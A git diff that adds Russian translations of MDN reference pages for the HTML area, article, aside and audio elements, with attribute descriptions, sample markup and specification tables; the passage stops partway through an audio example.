+ <dt>{{htmlattrdef("nohref")}} {{HTMLVersionInline("4")}} only, {{obsolete_inline("5.0")}}</dt>
+ <dd>Indicates that no hyperlink exists for the associated area. Either this attribute or the <strong>href</strong> attribute must be present in the element.
+ <div class="note">
+ <p><strong>Usage note: </strong>This attribute is obsolete in HTML5, instead omitting the <strong>href</strong> attribute is sufficient.</p>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("referrerpolicy")}} {{experimental_inline}}</dt>
+ <dd>A string indicating which referrer to use when fetching the resource:
+ <ul>
+  <li><code>"no-referrer"</code> meaning that the <code>Referer:</code> header will not be sent.</li>
+  <li>"<code>no-referrer-when-downgrade</code>" meaning that no <code>Referer:</code> header will be sent when navigating to an origin without TLS (HTTPS). This is a user agent’s default behavior, if no policy is otherwise specified.</li>
+  <li><code>"origin"</code> meaning that the referrer will be the origin of the page, that is roughly the scheme, the host and the port.</li>
+  <li>"origin-when-cross-origin" meaning that navigations to other origins will be limited to the scheme, the host and the port, while navigations on the same origin will include the referrer's path. </li>
+  <li><code>"unsafe-url"</code> meaning that the referrer will include the origin and the path (but not the fragment, password, or username). This case is unsafe because it can leak origins and paths from TLS-protected resources to insecure origins.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("rel")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>For anchors containing the <strong>href</strong> attribute, this attribute specifies the relationship of the target object to the link object. The value is a space-separated list of <a href="/en-US/docs/Web/HTML/Link_types">link types values</a>. The values and their semantics will be registered by some authority that might have meaning to the document author. The default relationship, if no other is given, is void. Use this attribute only if the <strong>href</strong> attribute is present.</dd>
+ <dt>{{htmlattrdef("shape")}}</dt>
+ <dd>The shape of the associated hot spot. The specifications for HTML 5 and HTML 4 define the values <code>rect</code>, which defines a rectangular region; <code>circle</code>, which defines a circular region; <code>poly</code>, which defines a polygon; and <code>default</code>, which indicates the entire region beyond any defined shapes. Many browsers, notably Internet Explorer 4 and higher, support <code>circ</code>, <code>polygon</code>, and <code>rectangle</code> as valid values for <strong>shape</strong>; these values are {{Non-standard_inline}}.</dd>
+ <dt>{{htmlattrdef("tabindex")}} {{HTMLVersionInline("4")}} only, {{obsolete_inline("5.0")}}</dt>
+ <dd>A numeric value specifying the position of the defined area in the browser tabbing order. This attribute is global in HTML5.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("target")}}</dt>
+ <dd>This attribute specifies where to display the linked resource. In HTML4, this is the name of, or a keyword for, a frame. In HTML5, it is a name of, or keyword for, a <em>browsing context</em> (for example, tab, window, or inline frame). The following keywords have special meanings:
+ <ul>
+  <li><code>_self</code>: Load the response into the same HTML4 frame (or HTML5 browsing context) as the current one. This value is the default if the attribute is not specified.</li>
+  <li><code>_blank</code>: Load the response into a new unnamed HTML4 window or HTML5 browsing context.</li>
+  <li><code>_parent</code>: Load the response into the HTML4 frameset parent of the current frame or HTML5 parent browsing context of the current one. If there is no parent, this option behaves the same way as <code>_self</code>.</li>
+  <li><code>_top</code>: In HTML4: Load the response into the full, original window, canceling all other frames. In HTML5: Load the response into the top-level browsing context (that is, the browsing context that is an ancestor of the current one, and has no parent). If there is no parent, this option behaves the same way as <code>_self</code>.</li>
+ </ul>
+ Use this attribute only if the <strong>href</strong> attribute is present.</dd>
+ <dt>{{htmlattrdef("type")}} {{obsolete_inline("5.1")}}</dt>
+ <dd>This attribute specifies the media type in the form of a MIME type for the link target. Generally, this is provided strictly as advisory information; however, in the future a browser might add a small icon for multimedia types. For example, a browser might add a small speaker icon when type is set to audio/wav. For a complete list of recognized MIME types, see <a class="linkification-ext external" href="https://www.w3.org/TR/html4/references.html#ref-MIMETYPES" title="Linkification: https://www.w3.org/TR/html4/references.html#ref-MIMETYPES">https://www.w3.org/TR/html4/references.html#ref-MIMETYPES</a>. Use this attribute only if the <strong>href</strong> attribute is present.</dd>
+</dl>
+
+<h2 id="Пример"> Пример</h2>
+
+<pre class="brush: html">&lt;map name="primary"&gt;
+  &lt;area shape="circle" coords="75,75,75" href="left.html" alt="Click to go Left"&gt;
+  &lt;area shape="circle" coords="275,75,75" href="right.html" alt="Click to go Right"&gt;
+&lt;/map&gt;
+&lt;img usemap="#primary" src="http://placehold.it/350x150" alt="350 x 150 pic"&gt;</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{ EmbedLiveSample('Example', 360, 160) }}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Under the HTML 3.2, 4.0, and 5 specifications, the closing tag <code>&lt;/area&gt;</code> is forbidden.</p>
+
+<p>The XHTML 1.0 specification requires a trailing slash: <code>&lt;area /&gt;</code>.</p>
+
+<p>The <strong>id</strong>, <strong>class</strong>, and <strong>style</strong> attributes have the same meaning as the core attributes defined in the HTML 4 specification, but only Netscape and Microsoft define them.</p>
+
+<p>Netscape 1–level browsers do not understand the <strong>target</strong> attribute as it relates to frames.</p>
+
+<p>HTML 3.2 defines only <strong>alt</strong>, <strong>coords</strong>, <strong>href</strong>, <strong>nohref</strong>, and <strong>shape</strong>.</p>
+
+<p>HTML 5.1 <a href="https://www.w3.org/TR/html51/obsolete.html#obsolete">defines</a> obsolete the attribute <strong>type</strong> on this tag.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrerpolicy attribute')}}</td>
+   <td>{{Spec2('Referrer Policy')}}</td>
+   <td>Added the <code>referrerpolicy</code> attribute.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#the-area-element', '&lt;area&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-area-element', '&lt;area&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/objects.html#h-13.6.1', '&lt;area&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("html.elements.area")}}</p>
diff --git a/files/ru/web/html/element/article/index.html b/files/ru/web/html/element/article/index.html
new file mode 100644
index 0000000000..88bb5e5a48
--- /dev/null
+++ b/files/ru/web/html/element/article/index.html
@@ -0,0 +1,148 @@
+---
+title: <article>
+slug: Web/HTML/Element/article
+tags:
+  - Element
+  - HTML
+  - Web
+  - Веб
+  - Разделы
+  - Разделы HTML
+  - Справка
+  - Элемент
+translation_of: Web/HTML/Element/article
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML-элемент <code>&lt;article&gt;</code></strong> представляет самостоятельную часть документа, страницы, приложения или сайта, предназначенную для независимого распространения или повторного использования.</span> Этот элемент может представлять статью на форуме, статью в журнале или газете, запись в блоге или какой-либо другой самостоятельный фрагмент содержимого.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/article.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>Данный документ может иметь множество статей; например, когда читатель просматривает блог, в котором текст каждой статьи отображается один за другим, каждая публикация будет находиться в элементе <code>&lt;article&gt;</code>, возможно, с одним или более элементами <code>&lt;section&gt;</code> внутри.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Секционный_контент">секционный контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явный контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенное содержимое</th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тега</th>
+   <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные родительские элементы</th>
+   <td>Любой элемент, который разрешает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">контент основного потока</a> в качестве содержимого. Обратите внимание, что элемент <code>&lt;article&gt;</code> не должен быть потомком элемента {{HTMLElement("address")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные ARIA роли</th>
+   <td>{{ARIARole("application")}}, {{ARIARole("document")}}, {{ARIARole("feed")}}, {{ARIARole("main")}}, {{ARIARole("presentation")}}, {{ARIARole("region")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>К этому элементу применимы только <a href="/ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a>.</p>
+
+<h2 id="Примечание">Примечание</h2>
+
+<ul>
+ <li>Каждый элемент <code>&lt;article&gt;</code> должен быть идентифицирован, обычно путем добавления заголовка (элементы <a href="/ru/docs/Web/HTML/Element/Heading_Elements"><code>&lt;h1&gt;</code>-<code>&lt;h6&gt;</code></a>) в качестве дочернего элемента.</li>
+ <li>Когда элемент <code>&lt;article&gt;</code> является вложенным, внутренний элемент представляет собой контент связанный с внешним элементом. Например, комментарии к публикации в блоге могут быть элементами <code>&lt;article&gt;</code>, вложенными в другой <code>&lt;article&gt;</code>, являющийся публикацией в блоге.</li>
+ <li>Информация об авторе в элементе <code>&lt;article&gt;</code> может быть представлена через элемент {{HTMLElement("address")}}, но это не применимо к вложенным элементам <code>&lt;article&gt;</code>.</li>
+ <li>Дата и время публикации в элементе <code>&lt;article&gt;</code> могут быть описаны с помощью атрибута {{htmlattrxref("datetime", "time")}} элемента {{HTMLElement("time")}}. <em>Обратите внимание, что атрибут {{htmlattrxref("pubdate", "time")}} элемента {{HTMLElement("time")}} больше не является частью стандарта {{glossary("W3C")}} {{glossary("HTML5")}}.</em></li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: html">&lt;article class="film_review"&gt;
+  &lt;header&gt;
+    &lt;h2&gt;Парк Юрского периода&lt;/h2&gt;
+  &lt;/header&gt;
+  &lt;section class="main_review"&gt;
+    &lt;p&gt;Динозавры были величественны!&lt;/p&gt;
+  &lt;/section&gt;
+  &lt;section class="user_reviews"&gt;
+    &lt;article class="user_review"&gt;
+      &lt;p&gt;Слишком страшно для меня.&lt;/p&gt;
+      &lt;footer&gt;
+        &lt;p&gt;
+          Опубликовано
+          &lt;time datetime="2015-05-16 19:00"&gt;16 мая&lt;/time&gt;
+          Лизой.
+        &lt;/p&gt;
+      &lt;/footer&gt;
+    &lt;/article&gt;
+    &lt;article class="user_review"&gt;
+      &lt;p&gt;Я согласен, динозавры мои любимцы.&lt;/p&gt;
+      &lt;footer&gt;
+        &lt;p&gt;
+          Опубликовано
+          &lt;time datetime="2015-05-17 19:00"&gt;17 мая&lt;/time&gt;
+          Томом.
+        &lt;/p&gt;
+      &lt;/footer&gt;
+    &lt;/article&gt;
+  &lt;/section&gt;
+  &lt;footer&gt;
+    &lt;p&gt;
+      Опубликовано
+      &lt;time datetime="2015-05-15 19:00"&gt;15 мая&lt;/time&gt;
+      Стаффом.
+    &lt;/p&gt;
+  &lt;/footer&gt;
+&lt;/article&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-article-element', '&lt;article&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'sections.html#the-article-element', '&lt;article&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-article-element', '&lt;article&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("html.elements.article")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Связанные с этим разделом элементы: {{HTMLElement("body")}}, {{HTMLElement("nav")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("address")}}</li>
+ <li class="last"><a class="deki-ns current" href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document">Разделы и структура документа HTML5</a>.</li>
+</ul>
diff --git a/files/ru/web/html/element/aside/index.html b/files/ru/web/html/element/aside/index.html
new file mode 100644
index 0000000000..20c210ff79
--- /dev/null
+++ b/files/ru/web/html/element/aside/index.html
@@ -0,0 +1,118 @@
+---
+title: <aside>
+slug: Web/HTML/Element/aside
+tags:
+  - Element
+  - HTML
+  - HTML5
+  - Web
+  - Веб
+  - Разделы
+  - Разделы HTML
+  - Справка
+  - Элемент
+translation_of: Web/HTML/Element/aside
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML-элемент <code>&lt;aside&gt;</code></strong> представляет собой часть документа, чье содержимое только косвенно связанно с основным содержимым документа.</span> Чаще всего представлен в виде боковой панели, сносок или меток.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/aside.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Секционный_контент">секционный контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явный контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенное содержимое</th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тега</th>
+   <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные родительские элементы</th>
+   <td>Любой элемент, который разрешает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">контент основного потока</a> в качестве содержимого. Обратите внимание, что элемент <code>&lt;aside&gt;</code> не должен быть потомком элемента {{HTMLElement("address")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные роли ARIA</th>
+   <td>{{ARIARole("feed")}}, {{ARIARole("note")}}, {{ARIARole("presentation")}}, {{ARIARole("region")}}, {{ARIARole("search")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>К этому элементу применимы только <a href="/ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a>.</p>
+
+<h2 id="Примечание">Примечание</h2>
+
+<ul>
+ <li>Не используйте элемент <code>&lt;aside&gt;</code> для пометки текста в скобках, так как этот вид текста считается частью основного <a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">потокового контента</a>.</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: html">&lt;article&gt;
+  &lt;p&gt;
+    Мультфильм студии Уолта Диснея &lt;em&gt;Русалочка&lt;/em&gt;
+    был выпущен в 1989.
+  &lt;/p&gt;
+  &lt;aside&gt;
+    &lt;p&gt;
+      Мультфильм заработал $87 миллионов во время первого выпуска.
+    &lt;/p&gt;
+  &lt;/aside&gt;
+  &lt;p&gt;
+    Подробнее об этом мультфильме...
+  &lt;/p&gt;
+&lt;/article&gt;</pre>
+
+<p>{{EmbedLiveSample("Примеры")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-aside-element', '&lt;aside&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-aside-element', '&lt;aside&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("html.elements.aside")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Связанные с этим разделом элементы: {{HTMLElement("body")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("address")}}.</li>
+ <li><a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document">Разделы и структура документа HTML5</a>.</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Complementary_role">ARIA: роль complementary</a></li>
+</ul>
diff --git a/files/ru/web/html/element/audio/index.html b/files/ru/web/html/element/audio/index.html
new file mode 100644
index 0000000000..7993fe03be
--- /dev/null
+++ b/files/ru/web/html/element/audio/index.html
@@ -0,0 +1,258 @@
+---
+title: <audio>
+slug: Web/HTML/Element/audio
+tags:
+  - Audio
+  - Element
+  - HTML
+  - HTML5
+  - Media
+  - Multimedia
+  - Web
+  - Веб
+  - Встраиваемое содержимое
+  - Встроенный контент
+  - Медиа
+  - Справка
+  - Элемент
+  - аудио
+  - мультимедиа
+translation_of: Web/HTML/Element/audio
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML-элемент <code>&lt;audio&gt;</code></strong> используется для встраивания звукового контента в документ. Он может содержать один или более источников аудио, представленных с помощью атрибута <code>src</code> или элемента {{HTMLElement("source")}} – браузер выберет один наиболее подходящий. Он так же может предназначаться для потокового мультимедиа, используя интерфейс {{domxref("MediaStream")}}.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/audio.html","tabbed-standard")}}</div>
+
+
+
+<p>Приведенный выше пример показывает простое использование элемента <code>&lt;audio&gt;</code>. По аналогии с элементом {{htmlelement("img")}} мы добавляем путь к мультимедиа, которое мы хотим встроить, в атрибут <code>src</code>. Мы можем добавить другие атрибуты, чтобы указать сведения, такие как автовоспроизведение и повтор, хотим ли мы отображать стандартные элементы управления звуком браузера и т.д.</p>
+
+<p>Контент между открывающим и закрывающим тегами элемента <code>&lt;audio&gt;</code> (в примере выше) отображается в браузерах, которые не поддерживают этот элемент.</p>
+
+<p>Не все браузеры поддерживают одинаковые <a href="/ru/docs/Web/HTML/Поддерживаемые_медиа_форматы">форматы аудио</a>. Вы можете предоставить множество источников внутри вложенных элементов {{htmlelement("source")}} и тогда браузер будет использовать первый, который он понимает:</p>
+
+<pre class="brush: html">&lt;audio controls&gt;
+  &lt;source src="myAudio.mp3" type="audio/mpeg"&gt;
+  &lt;source src="myAudio.ogg" type="audio/ogg"&gt;
+  &lt;p&gt;Ваш браузер не поддерживает HTML5 аудио. Вот взамен
+     &lt;a href="myAudio.mp4"&gt;ссылка на аудио&lt;/a&gt;&lt;/p&gt;
+&lt;/audio&gt;</pre>
+
+<p>Другие примечания по использованию:</p>
+
+<ul>
+ <li>если вы не укажете атрибут <code>controls</code>, тогда аудиоплеер не будет добавлять стандартные элементы управления звуком браузера. Вы можете создать ваши собственные элементы управления в помощью {{glossary("JavaScript")}} и {{domxref("HTMLMediaElement")}} {{glossary("API")}};</li>
+ <li>чтобы обеспечить точный контроль над вашим аудиоконтентом, {{domxref("HTMLMediaElement")}} инициирует (вызывает) множество различных <a href="#События">событий</a>;</li>
+ <li>вы так же можете использовать <a href="/ru/docs/Web/API/Web_Audio_API">Web Audio API</a> для непосредственной генерации и управления потоками аудио из кода {{glossary("JavaScript")}};</li>
+ <li>элементы <code>&lt;audio&gt;</code> не могут иметь субтитры, в отличие от элементов {{HTMLElement("video")}}. Смотрите "<a class="external" href="https://www.iandevlin.com/blog/2015/12/html5/webvtt-and-audio/">WebVTT и аудио</a>" для более подробной информации.</li>
+</ul>
+
+<p>Хороший источник информации по использованию HTML-элемента <code>&lt;audio&gt;</code> – это руководство для начинающих "<a href="/ru/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Видео- и аудиоконтент</a>".</p>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>К этому элементу применимы <a href="/ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("autoplay")}}</dt>
+ <dd>Атрибут логического типа. Если он указан, аудио начнет автоматически воспроизводиться, как только сможет это сделать, не дожидаясь завершения загрузки всего файла.
+ <div class="note"><strong>Заметка</strong>: Сайты, которые автоматически проигрывают аудио (или видео с аудиодорожкой) могут быть неприятными для пользователей, поэтому этого следует по возможности избегать. Если вам необходимо предлагать функцию автовоспроизведения, то вы должны сделать ее Opt-in (вид подписки), то есть когда пользователь специально (сам) включил ее. Тем не менее, это может быть полезно, при создании элементов мультимедиа, чей источник будет установлен позднее под контролем пользователя.</div>
+ </dd>
+ <dt>{{htmlattrdef("controls")}}</dt>
+ <dd>Если этот атрибут присутствует, браузер предложит элементы управления, позволяющие пользователю управлять воспроизведением аудио, в том числе громкостью, перемоткой и паузой.</dd>
+ <dt>{{htmlattrdef("crossorigin")}}</dt>
+ <dd>
+ <p>Этот атрибут указывает, следует ли использовать {{glossary("CORS")}} при загрузке мультимедиа или нет. Допустимые значения:</p>
+
+ <ul>
+  <li><code>anonymous</code>: Запрос cross-origin (т.е. с HTTP-заголовком {{httpheader("Origin")}}) выполняется, но параметры доступа не передаются (т.е. нет {{glossary("cookie")}}, не используется <a class="external" href="https://tools.ietf.org/html/rfc5280">стандарт X.509</a> или базовая HTTP-аутентификация);</li>
+  <li><code>use-credentials</code>: Запрос cross-origin (т.е. с HTTP-заголовком <code>Origin</code>) выполняется вместе с передачей параметров доступа (т.е. есть cookie, используется стандарт X.509 или базовая HTTP-аутентификация).</li>
+ </ul>
+
+ <p>Если этот атрибут не задан, то CORS при загрузке мультимедиа не используется (т.е. без отправки HTTP-заголовка {{httpheader("Origin")}}). Если задан неправильно, то он обрабатывается так, как если бы использовалось значение <code>anonymous</code>. Для получения дополнительной информации смотрите "<a href="/ru/docs/Web/HTML/CORS_settings_attributes">Настройки атрибутов CORS</a>".</p>
+ </dd>
+ <dt>{{htmlattrdef("loop")}}</dt>
+ <dd>Атрибут логического типа. Если он указан, проигрыватель будет автоматически возвращаться в начало при достижении конца аудио.</dd>
+ <dt>{{htmlattrdef("muted")}}</dt>
+ <dd>Атрибут логического типа, который указывает, будет ли звук изначально отключен. Значением по умолчанию является <code>false</code>.</dd>
+ <dt>{{htmlattrdef("preload")}}</dt>
+ <dd>
+ <p>Этот атрибут предназначен для того, чтобы указать браузеру, что, по мнению автора, приведет к лучшему взаимодействию с пользователем. Он может иметь одно из следующих значений:</p>
+
+ <ul>
+  <li><code>none</code>: указывает, что аудио не должно предварительно загружаться;</li>
+  <li><code>metadata</code>:  указывает, что предварительно загружаются только метаданные аудио (например, продолжительность аудио);</li>
+  <li><code>auto</code>: указывает, что весь файл аудио может быть предварительно загружен, даже если пользователь не предполагает его использовать;</li>
+  <li><em>пустая строка</em>: синоним значения <code>auto</code>.</li>
+ </ul>
+
+ <p>Значение по умолчанию отличается для каждого браузера. Спецификация рекомендует установить значение <code>metadata</code>.</p>
+
+ <div class="note"><strong>Примечание:</strong>
+
+ <ul>
+  <li>Атрибут <code>autoplay</code> имеет приоритет над <code>preload</code>. Если <code>autoplay</code> указан, браузер, очевидно, должен будет начать загрузку аудио для воспроизведения.</li>
+  <li>Спецификация не обязывает браузер придерживаться значения этого атрибута – это просто совет.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>{{glossary("URL")}} аудио для встраивания. Это является темой <a href="/ru/docs/Web/HTTP/CORS">контроля доступа HTTP</a>. Этот атрибут является необязательным; вы можете вместо него использовать элемент {{htmlelement("source")}} внутри блока audio (<code>&lt;audio&gt;&lt;/audio&gt;</code>), чтобы указать аудио для встраивания.</dd>
+</dl>
+
+<h2 id="События">События</h2>
+
+<p>Этот элемент может инициировать (вызывать) различные <a href="/ru/docs/Web/Guide/Events/Media_events">события</a>.</p>
+
+<h2 id="Взаимодействие_с_CSS">Взаимодействие с CSS</h2>
+
+<p>Элемент <code>&lt;audio&gt;</code> не имеет собственного визуального вывода, если только не указан атрибут <code>controls</code>, в этом случае отображаются стандартные элементы управления браузера.</p>
+
+<p>Стандартные элементы управления имеют значение свойства {{cssxref("display")}}, равное <code>inline</code>, и зачастую хорошей идеей является установка этого свойства в значение <code>block</code>, чтобы улучшить контроль над позиционированием и разметкой, если вы не хотите, чтобы он находился внутри текстового блока или чего-то подобного.</p>
+
+<p>Вы можете стилизовать стандартные элементы управления CSS-свойствами, которые влияют на блок как единое целое, например, вы можете задать {{cssxref("border")}} и {{cssxref("border-radius")}}, {{cssxref("padding")}}, {{cssxref("margin")}} и т.д. Тем не менее вы не можете стилизовать отдельные компоненты внутри аудиопреера (например, изменить размер кнопок, иконок, размер шрифта и т.д.), и элементы управления в разных браузерах отличаются.</p>
+
+<p>Чтобы получить внешний вид совместимый с разными браузерами, вам необходимо создать собственные элементы управления. Они могут быть размечены и стилизованы любым удобным для вас способом и затем может быть использован {{glossary("JavaScript")}} вместе с {{glossary("API")}} {{domxref("HTMLMediaElement")}} для объединения функций, которые они выполняют.</p>
+
+<p>"<a href="/en-US/docs/Web/Guide/Audio_and_video_delivery/Video_player_styling_basics">Основы стилизации видеопроигрывателя</a>" предоставляют некоторые полезные методы стилизации – они написаны в контексте {{HTMLElement("video")}}, но в значительной степени применимы и к <code>&lt;audio&gt;</code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Базовое_использование">Базовое использование</h3>
+
+<p>Следующий пример показывает простое использования элемента <code>&lt;audio&gt;</code> для воспроизведения файла в формате OGG. Он будет автоматически воспроизводиться из-за атрибута <code>autoplay</code>. Также он содержит резервный контент, на случай отсутствия поддержи браузером элемента <code>&lt;audio&gt;</code>.</p>
+
+<pre class="brush: html">&lt;!-- Простое воспроизведение аудио --&gt;
+&lt;audio
+  src="AudioTest.ogg"
+  autoplay&gt;
+  Ваш браузер не поддерживает элемент &lt;code&gt;audio&lt;/code&gt;.
+&lt;/audio&gt;
+</pre>
+
+<h3 id="Элемент_&lt;audio>_с_элементом_&lt;source>">Элемент &lt;audio&gt; с элементом &lt;source&gt;</h3>
+
+<p>В этом примере указывается, какой аудиотрек будет добавлен с помощью атрибута <code>src</code> во вложенный элемент {{HTMLElement("source")}}, а не в непосредственно элемент <code>&lt;audio&gt;</code>. Всегда полезно включать {{glossary("MIME type", "MIME-тип")}} файла в атрибут <code>type</code>, так как браузер может немедленно определить, может ли он воспроизвести этот файл, и не тратить на него время, если не может.</p>
+
+<pre class="brush: html">&lt;audio controls="controls"&gt;
+  &lt;source src="foo.wav" type="audio/wav"&gt;
+  Ваш браузер не поддерживает элемент &lt;code&gt;audio&lt;/code&gt;.
+&lt;/audio&gt;
+</pre>
+
+<h3 id="Элемент_&lt;audio>_с_множеством_элементов_&lt;source>">Элемент &lt;audio&gt; с множеством элементов &lt;source&gt;</h3>
+
+<p>Этот пример включает множество элементов <code>&lt;source&gt;</code>. Браузер попытается загрузить источник из первого элемента <code>&lt;source&gt;</code> (Opus), если он не в состоянии воспроизвести его, тогда он перейдет ко второму (Vorbis) и, наконец, к третьему (MP3), если все предыдущие по каким-либо причинам не могут быть воспроизведены браузером:</p>
+
+<pre class="brush: html">&lt;audio controls=""&gt;
+ &lt;source src="foo.opus" type="audio/ogg; codecs=opus"/&gt;
+ &lt;source src="foo.ogg" type="audio/ogg; codecs=vorbis"/&gt;
